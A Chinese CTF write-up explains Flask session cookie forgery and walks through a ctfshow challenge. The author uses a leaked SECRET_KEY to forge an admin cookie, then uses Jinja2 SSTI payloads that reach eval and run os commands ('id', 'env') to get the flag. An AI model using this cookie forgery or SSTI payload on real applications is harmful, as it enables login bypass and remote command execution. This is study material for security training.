Flask之Session伪造

Flask-session伪造

伪造原理

​ flask的session是存储在客户端cookie中的,而且flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

通常情况下会和SSTI知识点同步考察。

利用方式

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY

加解密脚本自取:

链接: https://pan.baidu.com/s/1SnXfGlDW7L9ceJOEx4qx3w 提取码: c9kj

使用方法

1
2
3
4
python2 脚本2.py decode -c "session值" -s "key值"
python2 脚本2.py encode -s "key值" -t "我们需要伪造的值"
python3 脚本3.py decode -c "session值" -s "key值"
python3 脚本3.py encode -s "key值" -t "我们需要伪造的值"

所需要注意的地方就是python的版本不同所对应的脚本也不相同。

例题分析

web-蓝瘦

平台链接

打开题目可以看到是一个登录框

使用username:123;password:123,然后就登录进去了看到了一个页面

使用admin登陆时提示密码错误,所以肯定存在admin

又在源码内看到提示

看到了一个key,然后我就去看了下是否存在cookie,结果发现是存在的

于是就想到Flask-session伪造绕过,前面已经发现了key的值,我们可以使用脚本来解密下我们的session

1
python3 flask_session_cookie_manager3.py decode -c "eyJ1c2VybmFtZSI6IjEyMyJ9.X7EGAg._Zb4OA7J2RbrPEge0Vlt6yz8WeU" -s "ican"

可以解出来我们当前登陆的用户名

这样一来,我们就可以伪造admin进行登录了,我们还利用脚本,将{'username':'admin'}加密,然后修改cookie

1
python3 flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "ican"

成功加密的数据

1
eyJ1c2VybmFtZSI6ImFkbWluIn0.X7EH_Q.YdIvqxZeHJpgdOEHbREyGWcM1n8

我们修改cookie来伪造admin用户登录

然后我们刷新页面,发生变化

根据之前的提示,我们能知道缺少的参数为ctfshow

我们来尝试下SSTI

提交参数

1
?ctfshow={{7*7}}

存在SSTI,这里说一下在Flask/Jinja2环境下SSTI漏洞带来的影响实实在在的存在!

尝试下提交jinja2的payload

1
{% for i in range(19) %}{{ i }}{% endfor %}

payload

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

但是,我找不到flag,emmmmmm就很难受,

来了来了没看到提示,提示是内存flag,那么来说就是常规的读取flag文件是没办法读取的,那就来读取环境变量,试了很多,找到一个env,这里介绍一下

env命令 用于显示系统中已存在的环境变量,以及在定义的环境中执行指令。该命令只使用”-“作为参数选项时,隐藏了选项”-i”的功能。若没有设置任何选项和参数时,则直接显示当前的环境变量。

如果使用env命令在新环境中执行指令时,会因为没有定义环境变量”PATH”而提示错误信息”such file or directory”。此时,用户可以重新定义一个新的”PATH”或者使用绝对路径。

最终payload

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("env").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

得到flag